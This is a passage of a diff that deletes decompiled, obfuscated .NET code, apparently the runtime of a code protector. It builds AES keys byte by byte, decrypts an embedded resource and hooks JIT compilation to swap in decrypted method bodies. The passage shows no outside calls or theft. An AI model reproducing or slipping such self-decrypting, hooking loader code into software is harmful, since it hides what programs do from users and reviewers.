166 - 55; - num2 = 245; - } - while (true); - goto label_232; -label_332: - num2 = 11; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - continue; -label_333: - num3 = 110 + 66; - num1 = 342; - goto label_329; -label_334: - numArray2[9] = (byte) (129 - 43); - num2 = 74; - continue; -label_335: - numArray2[15] = (byte) (104 + 49); - num2 = 347; - } - while (true); - goto label_336; -label_73: - numArray2[19] = (byte) (146 - 48); - num2 = 221; - if (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()) - continue; -label_311: - num6 = 219 - 73; - num2 = 175; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_312; -label_43: - numArray1[13] = (byte) (111 + 7); - num2 = 89; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_44; -label_296: - num3 = 242 - 80; - num2 = 67; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_278; -label_91: - num6 = 82 + 79; - num2 = 184; - if (true) - continue; -label_92: - num3 = 31 + 21; - num2 = 287; - } - while (true); - goto label_93; -label_19: - GeQKoeh9BTa5jMZgSa.\u0032mAMGsagdIBfWKl3ac((object) cryptoStream); - num2 = 27; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - continue; -label_283: - numArray2[9] = (byte) (132 - 44); - num2 = 226; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - continue; -label_284: - numArray2[14] = (byte) (17 + 110); - num2 = 344; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_285; -label_306: - numArray1[1] = (byte) num4; - num2 = 268; - } - while (true); - goto label_307; -label_336: - GeQKoeh9BTa5jMZgSa.iDHigqbTZVbiIrwW3w((object) memoryStream); - num1 = 125; - goto label_329; -label_341: - numArray2[2] = (byte) num3; - num2 = 319; - continue; -label_349: - numArray2[5] = (byte) (117 + 45); - num2 = 279; - if (GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - goto label_175; - else - continue; -label_350: - num3 = 180 + 66; - num1 = 239; - goto label_329; -label_351: - num6 = 192 - 64; - num1 = 126; - goto label_329; -label_352: - numArray2[13] = (byte) num3; - num2 = 134; - if (true) - continue; -label_353: - num5 = 153 + 80; - num2 = 276; - continue; -label_354: - try - { - return (string) GeQKoeh9BTa5jMZgSa.OVkPH6hTrN2CFRuMVW(GeQKoeh9BTa5jMZgSa.ILHI0GdNXWinrFsZJM(), (object) GeQKoeh9BTa5jMZgSa.JxruE1ulY, obj0 + 4, num7); - } - catch - { - } - return ""; -label_357: - rijndaelManaged = new RijndaelManaged(); - num2 = 95; - } - while (true); - goto label_66; -label_130: - numArray2[21] = (byte) num6; - num2 = 58; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_131; -label_290: - num5 = 41 + 107; - num2 = 224; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_291; -label_224: - num6 = 20 + 19; - num2 = 31; - if (true) - continue; -label_225: - numArray1[7] = (byte) num4; - num2 = 289; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_68; -label_59: - numArray2[20] = (byte) (85 + 72); - num2 = 261; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_60; -label_253: - numArray2[25] = (byte) num6; - num2 = 334; - } - while (true); - goto label_254; -label_318: - num6 = 82 + 61; - num2 = 69; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_319; -label_276: - numArray2[24] = (byte) num6; - num2 = 129; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_4; -label_170: - numArray2[14] = (byte) (141 - 19); - num2 = 214; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_28; -label_37: - num5 = 104 + 5; - num2 = 141; - } - while (true); - goto label_38; -label_240: - numArray2[3] = (byte) (162 - 54); - num2 = 236; - } - while (true); - goto label_241; -label_199: - numArray1[10] = (byte) num4; - num2 = 77; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_200; -label_207: - num5 = 135 - 45; - num2 = 198; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_208; -label_324: - num6 = 100 + 17; - num2 = 246; - } - while (true); - goto label_325; -label_246: - numArray1[9] = (byte) (140 - 46); - num2 = 57; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_247; -label_178: - numArray2[6] = (byte) (171 + 11); - num2 = 142; - } - while (true); - goto label_179; -label_51: - numArray1[7] = (byte) (236 - 78); - num2 = 5; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_52; -label_183: - numArray2[3] = (byte) (64 + 16); - num2 = 131; - } - while (GeQKoeh9BTa5jMZgSa.WG9gbA6J7aeXk03Pd3()); - goto label_186; -label_7: - numArray1[14] = (byte) num5; - num2 = 110; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - continue; -label_8: - numArray2[21] = (byte) (135 - 45); - num2 = 228; - if (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()) - continue; -label_9: - GeQKoeh9BTa5jMZgSa.RoYr5Oifrs4sxi7Umu(GeQKoeh9BTa5jMZgSa.QUBRhxL2QZ6RDyGsJt((object) binaryReader), 0L); - num2 = 164; - } - while (true); - goto label_10; -label_326: - numArray2[0] = (byte) num6; - num2 = 312; - } - while (true); - goto label_327; -label_151: - numArray2[0] = (byte) (98 + 92); - num2 = 232; - } - while (true); - goto label_152; -label_251: - numArray2[6] = (byte) num6; - num2 = 156; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_109; -label_262: - numArray1[1] = (byte) num5; - num2 = 337; - } - while (!GeQKoeh9BTa5jMZgSa.DPYaZ2qmOxfETfK2Jp()); - goto label_186; -label_4: - numArray1[3] = (byte) num4; - num2 = 186; - continue; -label_11: - numArray2[7] = (byte) (164 - 54); - num2 = 179; - continue; -label_14: - numArray3[9] = numArray4[4]; - num2 = 76; - continue; -label_18: - numArray1[3] = (byte) (28 + 30); - num2 = 64; - continue; -label_20: - numArray2[31] = (byte) (212 - 70); - num2 = 180; - continue; -label_21: - num3 = 102 + 4; - num2 = 62; - continue; -label_30: - GeQKoeh9BTa5jMZgSa.Y1XL6H8B4lwHfQuBss(true); - num2 = 33; - continue; -label_32: - numArray1[2] = (byte) (12 + 119); - num2 = 6; - continue; -label_39: - numArray2[18] = (byte) (29 + 88); - num2 = 160; - continue; -label_44: - numArray2[19] = (byte) (75 + 30); - num2 = 66; - continue; -label_46: - num3 = 60 + 79; - num2 = 152; - continue; -label_49: - numArray3[3] = numArray4[1]; - num2 = 78; - continue; -label_50: - num6 = 203 - 67; - num2 = 195; - continue; -label_52: - numArray2[10] = (byte) num3; - num2 = 338; - continue; -label_56: - numArray2[24] = (byte) num6; - num2 = 316; - continue; -label_68: - num3 = 217 - 72; - num2 = 272; - continue; -label_72: - numArray1[7] = (byte) num4; - num2 = 258; - continue; -label_76: - numArray3[1] = numArray4[0]; - num2 = 288; - continue; -label_85: - num6 = 212 - 70; - num2 = 145; - continue; -label_86: - num4 = 124 - 49; - num2 = 0; - continue; -label_89: - num4 = 33 + 7; - num2 = 208; - continue; -label_93: - num4 = 10 + 62; - num2 = 219; - continue; -label_96: - num5 = 60 + 95; - num2 = 341; - continue; -label_98: - numArray1[9] = (byte) num5; - num2 = 54; - continue; -label_104: - num6 = 186 - 78; - num2 = 83; - continue; -label_112: - numArray2[29] = (byte) (137 - 45); - num2 = 290; - continue; -label_113: - numArray1 = new byte[16]; - num2 = 263; - continue; -label_131: - num6 = 116 + 90; - num2 = 335; - continue; -label_133: - num6 = 72 + 100; - goto label_150; -label_135: - numArray2[9] = (byte) num6; - num2 = 119; - continue; -label_142: - numArray2[9] = (byte) num3; - num2 = 192; - continue; -label_145: - numArray2[19] = (byte) num3; - num2 = 205; - continue; -label_146: - numArray2[4] = (byte) (139 - 80); - num2 = 130; - continue; -label_150: - numArray2[23] = (byte) num6; - num2 = 269; - continue; -label_166: - numArray1[6] = (byte) num5; - num2 = 294; - continue; -label_167: - numArray1[7] = (byte) num4; - num2 = 304; - continue; -label_172: - numArray2[7] = (byte) (236 - 78); - num2 = 167; - continue; -label_174: - num6 = 88 + 54; - num2 = 311; - continue; -label_176: - numArray2[28] = (byte) num3; - num2 = 73; - continue; -label_198: - numArray2[12] = (byte) (242 - 80); - num2 = 199; - continue; -label_200: - num6 = 28 + 30; - num2 = 197; - continue; -label_203: - num5 = 78 + 51; - num2 = 227; - continue; -label_206: - num5 = 21 + 77; - num2 = 215; - continue; -label_208: - numArray1[10] = (byte) (221 - 73); - num2 = 111; - continue; -label_212: - GeQKoeh9BTa5jMZgSa.iDHigqbTZVbiIrwW3w((object) cryptoStream); - num2 = 107; - continue; -label_217: - num6 = 124 + 70; - num2 = 148; - continue; -label_232: - numArray2[14] = (byte) num3; - num2 = 166; - continue; -label_238: - numArray2[16] = (byte) (137 - 45); - num2 = 139; - continue; -label_241: - num4 = 98 + 86; - num2 = 332; - continue; -label_242: - numArray2[28] = (byte) (159 - 106); - num2 = 241; - continue; -label_248: - numArray2[4] = (byte) num6; - num2 = 101; - continue; -label_249: - numArray2[31] = (byte) num3; - num2 = 191; - continue; -label_250: - numArray2[27] = (byte) num6; - num2 = 169; - continue; -label_254: - num6 = 150 - 50; - num2 = 49; - continue; -label_258: - cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); - num2 = 280; - continue; -label_270: - num5 = 167 + 42; - num2 = 333; - continue; -label_278: - numArray3[7] = numArray4[3]; - num2 = 2; - continue; -label_291: - numArray2[14] = (byte) (162 - 54); - num2 = 159; - continue; -label_297: - num3 = 138 + 81; - num2 = 308; - continue; -label_302: - numArray1[5] = (byte) (98 + 110); - num2 = 7; - continue; -label_313: - numArray2[26] = (byte) num3; - num2 = 204; - continue; -label_315: - num3 = 175 - 55; - num2 = 133; - } -label_1: - numArray1[2] = (byte) (203 - 67); - num1 = 202; - continue; -label_3: - num3 = 248 - 82; - num1 = 185; - continue; -label_5: - numArray1[4] = (byte) (200 - 66); - num1 = 38; - continue; -label_10: - // ISSUE: type reference - binaryReader = new BinaryReader((Stream) GeQKoeh9BTa5jMZgSa.t5U2QUMIDq8PgCHTts((object) GeQKoeh9BTa5jMZgSa.iIVIk6SvUgD0JTVAnk(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly, (object) "49a96fef-e70c-4b40-affa-00d464fb691e")); - num1 = 336; - continue; -label_12: - numArray2[28] = (byte) num6; - num1 = 320; - continue; -label_26: - numArray2[25] = (byte) (213 + 37); - num1 = 96; - continue; -label_27: - numArray2[4] = (byte) (157 - 52); - num1 = 32; - continue; -label_28: - numArray1[13] = (byte) num4; - num1 = 46; - continue; -label_34: - numArray1[15] = (byte) (22 + 29); - num1 = 82; - continue; -label_38: - numArray2[21] = (byte) num6; - num1 = 151; - continue; -label_45: - num4 = 29 + 100; - num1 = 79; - continue; -label_60: - numArray1[5] = (byte) (88 + 61); - num1 = 251; - continue; -label_66: - numArray2[20] = (byte) num6; - num1 = 173; - continue; -label_67: - num5 = 1 + 84; - num1 = 248; - continue; -label_77: - num6 = 84 + 77; - num1 = 35; - continue; -label_79: - num4 = 107 + 40; - num1 = 216; - continue; -label_87: - numArray2[23] = (byte) ((int) sbyte.MaxValue - 42); - num1 = 106; - continue; -label_88: - GeQKoeh9BTa5jMZgSa.WqwbDPRHhnOEJD0ii5((object) cryptoStream, (object) numArray5, 0, numArray5.Length); - num1 = 178; - continue; -label_90: - numArray1[3] = (byte) (107 + 64); - num1 = 104; - continue; -label_97: - numArray2[3] = (byte) (197 - 65); - num1 = 278; - continue; -label_101: - num6 = 159 - 88; - num1 = 229; - continue; -label_109: - numArray2 = new byte[32]; - num1 = 118; - continue; -label_110: - num6 = 97 + 108; - num1 = 210; - continue; -label_111: - numArray1[12] = (byte) (113 + 99); - num1 = 26; - continue; -label_114: - numArray2[11] = (byte) (121 + 113); - num1 = 61; - continue; -label_116: - numArray1[15] = (byte) num4; - num1 = 71; - continue; -label_117: - num6 = 159 - 53; - num1 = 174; - continue; -label_118: - numArray2[13] = (byte) (40 + 73); - num1 = 45; - continue; -label_122: - numArray2[20] = (byte) num6; - num1 = 271; - continue; -label_123: - num6 = 164 - 54; - num1 = 128; - continue; -label_124: - numArray2[31] = (byte) num6; - num1 = 40; - continue; -label_126: - numArray2[4] = (byte) num6; - num1 = 317; - continue; -label_128: - numArray2[29] = (byte) (52 + 121); - num1 = 313; - continue; -label_129: - numArray2[5] = (byte) num3; - num1 = 93; - continue; -label_134: - num1 = 87; - continue; -label_136: - numArray1[0] = (byte) (25 + 92); - num1 = 59; - continue; -label_137: - num6 = 42 + 68; - num1 = 267; - continue; -label_139: - num7 = GeQKoeh9BTa5jMZgSa.eg8wW0sHriUriYCh9B((object) GeQKoeh9BTa5jMZgSa.JxruE1ulY, obj0); - num1 = 348; - continue; -label_141: - numArray3[5] = numArray4[2]; - num1 = 16; - continue; -label_149: - numArray1[3] = (byte) (241 - 80); - num1 = 14; - continue; -label_152: - numArray2[15] = (byte) num6; - num1 = 163; - continue; -label_154: - numArray2[20] = (byte) num6; - num1 = 84; - continue; -label_155: - numArray2[1] = (byte) (156 - 52); - num1 = 206; - continue; -label_157: - numArray1[0] = (byte) num4; - num1 = 150; - continue; -label_159: - numArray2[9] = (byte) num3; - num1 = 201; - continue; -label_162: - num3 = 174 - 80; - num1 = 231; - continue; -label_163: - num3 = 73 + 111; - num1 = 321; - continue; -label_165: - num3 = 107 + 40; - num1 = 147; - continue; -label_168: - num5 = 90 + 3; - num1 = 345; - continue; -label_169: - numArray2[1] = (byte) num3; - num1 = 283; - continue; -label_173: - num4 = 172 - 111; - num1 = 252; - continue; -label_175: - numArray1[1] = (byte) (244 - 81); - num1 = 327; - continue; -label_179: - numArray2[20] = (byte) (130 - 43); - num1 = 120; - continue; -label_181: - num6 = 123 + 56; - num1 = 293; - continue; -label_182: - numArray1[13] = (byte) (102 - 40); - num1 = 203; - continue; -label_186: - num3 = 49 + 12; - num1 = 146; - continue; -label_187: - numArray1[5] = (byte) (133 - 44); - num1 = 322; - continue; -label_188: - numArray2[1] = (byte) (82 + 53); - num1 = 100; - continue; -label_189: - num4 = 102 + 4; - num1 = 300; - continue; -label_193: - numArray2[6] = (byte) (60 + 23); - num1 = 24; - continue; -label_195: - numArray2[19] = (byte) num3; - num1 = 99; - continue; -label_197: - numArray2[26] = (byte) num6; - num1 = 116; - continue; -label_205: - num3 = 118 + 79; - num1 = 37; - continue; -label_220: - numArray2[5] = (byte) (133 - 44); - num1 = 235; - continue; -label_221: - numArray2[14] = (byte) (148 - 49); - num1 = 323; - continue; -label_223: - numArray2[31] = (byte) num6; - num1 = 265; - continue; -label_244: - numArray3[13] = numArray4[6]; - num1 = 115; - continue; -label_247: - num5 = 57 + 82; - num1 = 29; - continue; -label_255: - numArray1[15] = (byte) (74 - 17); - num1 = 254; - continue; -label_257: - numArray2[13] = (byte) (135 - 45); - num1 = 108; - continue; -label_261: - num3 = 76 + 75; - num1 = 256; - continue; -label_264: - num3 = 235 - 78; - num1 = 124; - continue; -label_266: - numArray1[4] = (byte) (23 + 13); - num1 = 296; - continue; -label_271: - num6 = 138 - 46; - num1 = 314; - continue; -label_282: - byte[] numArray6; - transform = (ICryptoTransform) GeQKoeh9BTa5jMZgSa.qeBfEcpEvUplSVOTD8((object) rijndaelManaged, (object) numArray6, (object) numArray3); - num1 = 63; - continue; -label_285: - numArray1[5] = (byte) (90 + 84); - num1 = 21; - continue; -label_299: - num4 = 164 - 54; - num1 = 22; - continue; -label_305: - num3 = 4 + 70; - num1 = 154; - continue; -label_307: - numArray1[10] = (byte) (81 - 64); - num1 = 157; - continue; -label_312: - num4 = 73 + 36; - num1 = 200; - continue; -label_314: - numArray1[14] = (byte) (135 - 45); - num1 = 140; - continue; -label_316: - numArray1[8] = (byte) num5; - num1 = 15; - continue; -label_319: - numArray2[13] = (byte) num6; - num1 = 123; - continue; -label_322: - numArray2[22] = (byte) num3; - num1 = 44; - continue; -label_323: - num5 = 97 + 108; - num1 = 52; - continue; -label_325: - numArray6 = numArray2; - num1 = 291; - continue; -label_327: - numArray2[7] = (byte) num3; - num1 = 225; - continue; -label_328: - numArray2[25] = (byte) (148 - 49); - goto label_123; -label_358: - memoryStream = new MemoryStream(); - num1 = 306; - } - } - - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string B5PqZKD3x([In] string obj0) - { - "{11111-22222-50001-00000}".Trim(); - byte[] bytes = Convert.FromBase64String(obj0); - return Encoding.Unicode.GetString(bytes, 0, bytes.Length); - } - - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - internal static uint GV0SDAE8F( - [MarshalAs(UnmanagedType.U8)] ref ulong _param0, - [In] IntPtr obj1, - [In] IntPtr obj2, - [MarshalAs(UnmanagedType.U4)] uint _param3, - [In] ref IntPtr obj4, - [In] ref uint obj5) - { - if (GeQKoeh9BTa5jMZgSa.E0WCSSJ5g) - { - if (GeQKoeh9BTa5jMZgSa.TCBfgPeQj == Marshal.ReadIntPtr(obj2, IntPtr.Size)) - { - if (IntPtr.Size == 4) - { - try - { - int num1 = Marshal.ReadInt32(obj2, 8); - int index = Marshal.ReadInt32(new IntPtr(num1)); - bool flag = false; - if (index >= 1879048192) - { - index -= 1879048192; - flag = true; - } - if (index < GeQKoeh9BTa5jMZgSa.myWOkssH9.Length) - { - if (GeQKoeh9BTa5jMZgSa.O7UMIrWKl[index] == (long) num1) - { - byte[] source = GeQKoeh9BTa5jMZgSa.myWOkssH9[index]; - IntPtr num2 = Marshal.AllocCoTaskMem(source.Length); - Marshal.Copy(source, 0, num2, source.Length); - if (flag) - { - obj4 = num2; - obj5 = (uint) source.Length; - return 0; - } - Marshal.WriteIntPtr(obj2, 8, num2); - Marshal.WriteInt32(obj2, 12, source.Length); - return GeQKoeh9BTa5jMZgSa.tE4InJRtL(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5); - } - } - } - catch - { - } - } - else - { - try - { - long num3 = Marshal.ReadInt64(obj2, 16); - int index = Marshal.ReadInt32(new IntPtr(num3)); - bool flag = false; - if (index >= 1879048192) - { - index -= 1879048192; - flag = true; - } - if (index < GeQKoeh9BTa5jMZgSa.myWOkssH9.Length) - { - if (GeQKoeh9BTa5jMZgSa.O7UMIrWKl[index] == num3) - { - byte[] source = GeQKoeh9BTa5jMZgSa.myWOkssH9[index]; - IntPtr num4 = Marshal.AllocCoTaskMem(source.Length); - Marshal.Copy(source, 0, num4, source.Length); - if (flag) - { - obj4 = num4; - obj5 = (uint) source.Length; - return 0; - } - Marshal.WriteIntPtr(obj2, 16, num4); - Marshal.WriteInt32(obj2, 24, source.Length); - } - } - } - catch - { - } - } - } - return GeQKoeh9BTa5jMZgSa.tE4InJRtL(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5); - } - GeQKoeh9BTa5jMZgSa.E0WCSSJ5g = true; - GeQKoeh9BTa5jMZgSa.TCBfgPeQj = Marshal.ReadIntPtr(obj2, IntPtr.Size); - return GeQKoeh9BTa5jMZgSa.tE4InJRtL(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static void P6Wt3riVR() - { - } - - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - static void duwLblChk() - { - int num1 = 19; - while (true) - { - int num2; - IntPtr num3; - int num4; - byte[] numArray1; - int num5; - byte[] numArray2; - byte[] numArray3; - byte[] numArray4; - int num6; - int num7; - MemoryStream memoryStream; - byte[] buffer; - long num8; - long num9; - byte[] numArray5; - BinaryReader binaryReader; - int num10; - int num11; - ulong num12; - int index; - byte[] numArray6; - byte[] numArray7; - string str1; - int num13; - byte[] numArray8; - IntPtr num14; - long int64; - CryptoStream cryptoStream; - RijndaelManaged rijndaelManaged; - ICryptoTransform transform; - IntPtr zero; - uint num15; - IntPtr num16; - bool flag; - IntPtr num17; - string str2; - IntPtr num18; - int num19; - int num20; - GeQKoeh9BTa5jMZgSa.OuMlCJsxbEl5Y5bhii mlCjsxbEl5Y5bhii; - IntPtr num21; - int num22; - int num23; - IntPtr num24; - Process process; - IntPtr num25; - byte[] numArray9; - int num26; - switch (num1) - { - case 0: - numArray1[10] = (byte) (236 - 78); - num4 = 74; - goto label_212; - case 1: - GeQKoeh9BTa5jMZgSa.O7UMIrWKl[index] = int64 + (long) num11; - num26 = 340; - goto label_211; - case 2: - binaryReader = new BinaryReader((Stream) new MemoryStream(buffer)); - num26 = 440; - goto label_211; - case 3: - num5 = 111 + 25; - num26 = 60; - goto label_211; - case 4: - numArray1[23] = (byte) (3 + 23); - num1 = 223; - continue; - case 5: - num2 = 30 + 60; - num4 = 275; - goto label_212; - case 6: - num6 = 154 - 51; - num4 = 42; - if (true) - goto label_212; - else - goto case 218; - case 7: - numArray1[5] = (byte) num5; - num4 = 105; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 240; - else - goto label_212; - case 8: - numArray3[1] = numArray4[0]; - num4 = 235; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 399; - case 9: - numArray1[11] = (byte) (177 - 59); - num4 = 75; - goto label_212; - case 10: - num8 = 0L; - num1 = 78; - continue; - case 11: - case 229: - if (GeQKoeh9BTa5jMZgSa.KucsUt7QpLwMc4xOQa(GeQKoeh9BTa5jMZgSa.XZdhEETY6xnqBNBn85((object) binaryReader)) >= GeQKoeh9BTa5jMZgSa.luZPR5Ne33DogfLMgu(GeQKoeh9BTa5jMZgSa.XZdhEETY6xnqBNBn85((object) binaryReader)) - 1L) - { - // ISSUE: type reference - num3 = GeQKoeh9BTa5jMZgSa.L4d8kkteJ8J2YcdktO(GeQKoeh9BTa5jMZgSa.yuH7lPFHHUf53dhuE9((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly)[0]); - num4 = 52; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 442; - } - else - { - num26 = 323; - goto label_211; - } - case 12: - GeQKoeh9BTa5jMZgSa.\u0032vPIGFllg5w8kSLEEp((object) cryptoStream); - num4 = 294; - if (true) - goto label_212; - else - goto case 164; - case 13: - numArray2[10] = (byte) (35 + 87); - num4 = 159; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 445; - case 14: - numArray1[11] = (byte) num2; - num1 = 9; - continue; - case 15: - num5 = 47 + 23; - num26 = 319; - goto label_211; - case 16: - num7 = 0 + 51; - num26 = 149; - goto label_211; - case 17: - numArray5 = new byte[12]; - num4 = 31; - goto label_212; - case 18: - num21 = GeQKoeh9BTa5jMZgSa.twC9Jcn7R4JwSqN8BB((object) mlCjsxbEl5Y5bhii); - num26 = 10; - goto label_211; - case 19: - if (!GeQKoeh9BTa5jMZgSa.Bmebl81Sb) - { - num1 = 142; - continue; - } - goto label_496; - case 20: - numArray1[14] = (byte) (138 - 46); - num26 = 305; - goto label_211; - case 21: - numArray1[26] = (byte) (209 - 69); - num1 = 390; - continue; - case 22: - numArray1[15] = (byte) num5; - num4 = 145; - if (true) - goto label_212; - else - goto case 377; - case 23: - numArray1[7] = (byte) (133 - 44); - num26 = 151; - goto label_211; - case 24: - numArray5[1] = (byte) 108; - num26 = 196; - goto label_211; - case 25: - numArray1[3] = (byte) (91 + 74); - num4 = 115; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 174; - case 26: - num5 = 4 + 95; - num26 = 77; - goto label_211; - case 27: - numArray2[10] = (byte) (217 + 23); - num4 = 378; - goto label_212; - case 28: - num5 = 228 - 76; - num1 = 198; - continue; - case 29: - numArray2[4] = (byte) num7; - num26 = 301; - goto label_211; - case 30: - case 45: - GeQKoeh9BTa5jMZgSa.Wtd0r3S1V(num14, 4, num13, ref num13); - num1 = 229; - continue; - case 31: - numArray5[0] = (byte) 109; - num26 = 177; - goto label_211; - case 32: - numArray1[23] = (byte) num5; - num1 = 88; - continue; - case 33: - numArray2[13] = (byte) (173 - 57); - num26 = 312; - goto label_211; - case 34: - numArray1[13] = (byte) (48 + 33); - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - { - num4 = 426; - if (true) - goto label_212; - else - goto case 447; - } - else - { - num26 = 439; - goto label_211; - } - case 35: - numArray1[26] = (byte) (31 + 57); - num4 = 187; - if (true) - goto label_212; - else - goto case 389; - case 36: - GeQKoeh9BTa5jMZgSa.\u0032vPIGFllg5w8kSLEEp((object) memoryStream); - num1 = 12; - continue; - case 37: - index -= 1879048192; - num4 = 85; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 338; - case 38: - GeQKoeh9BTa5jMZgSa.\u0032ftrt8haJUV8J2Vt5x((object) cryptoStream); - num4 = 386; - if (true) - goto label_212; - else - goto case 415; - case 39: - numArray1[24] = (byte) (78 + 67); - num26 = 449; - goto label_211; - case 40: - case 315: - if (num19 >= num20) - { - num1 = 338; - continue; - } - num24 = new IntPtr(int64 + (long) GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader) - (long) num10); - num4 = 47; - goto label_212; - case 41: - numArray1[23] = (byte) (37 + 93); - num4 = 4; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 317; - else - goto label_212; - case 42: - numArray2[0] = (byte) num6; - num4 = 341; - goto label_212; - case 43: - numArray1[25] = (byte) (15 + 34); - num26 = 419; - goto label_211; - case 44: - numArray7[2] = (byte) 116; - num1 = 297; - continue; - case 46: - num10 = 0; - num4 = 436; - if (true) - goto label_212; - else - goto case 362; - case 47: - GeQKoeh9BTa5jMZgSa.Wtd0r3S1V(num24, 4, 4, ref num13); - num1 = 87; - continue; - case 48: - num6 = 107 + 40; - num4 = 133; - if (true) - goto label_212; - else - goto case 418; - case 49: - num7 = 212 - 70; - num4 = 103; - if (true) - goto label_212; - else - goto case 408; - case 50: - numArray5[2] = (byte) 99; - num4 = 82; - if (true) - goto label_212; - else - goto case 286; - case 51: - ++num19; - num26 = 315; - goto label_211; - case 52: - GeQKoeh9BTa5jMZgSa.\u0038pwDLUuUH = num3.ToInt64(); - num4 = 344; - goto label_212; - case 53: - num5 = 158 - 52; - num4 = 402; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 403; - case 54: - numArray1[4] = (byte) (113 + 38); - num4 = 3; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 375; - else - goto label_212; - case 55: - case 428: - // ISSUE: method pointer - GeQKoeh9BTa5jMZgSa.EJBGECnBT = new GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ((object) null, __methodptr(GV0SDAE8F)); - num4 = 370; - if (true) - goto label_212; - else - goto case 91; - case 56: - numArray1[8] = (byte) num2; - num4 = 404; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 396; - else - goto label_212; - case 57: - numArray1[26] = (byte) num2; - num1 = 336; - continue; - case 58: - num2 = 5 + 94; - num4 = 342; - goto label_212; - case 59: - numArray1[20] = (byte) num5; - num4 = 409; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 417; - else - goto label_212; - case 60: - numArray1[4] = (byte) num5; - num4 = 329; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 376; - else - goto label_212; - case 61: - numArray1[20] = (byte) num5; - num4 = 397; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 112; - case 62: - numArray1[7] = (byte) num5; - num1 = 281; - continue; - case 63: - num17 = GeQKoeh9BTa5jMZgSa.UUm8PsflX(str1); - num1 = 239; - continue; - case 64: - num5 = 216 - 72; - num1 = 68; - continue; - case 65: - numArray1[16] = (byte) (180 + 21); - num26 = 396; - goto label_211; - case 66: - num6 = 30 + 104; - num4 = 70; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 271; - else - goto label_212; - case 67: - num5 = 67 + 40; - num26 = 62; - goto label_211; - case 68: - numArray1[18] = (byte) num5; - num1 = 206; - continue; - case 69: - num5 = 61 + 106; - 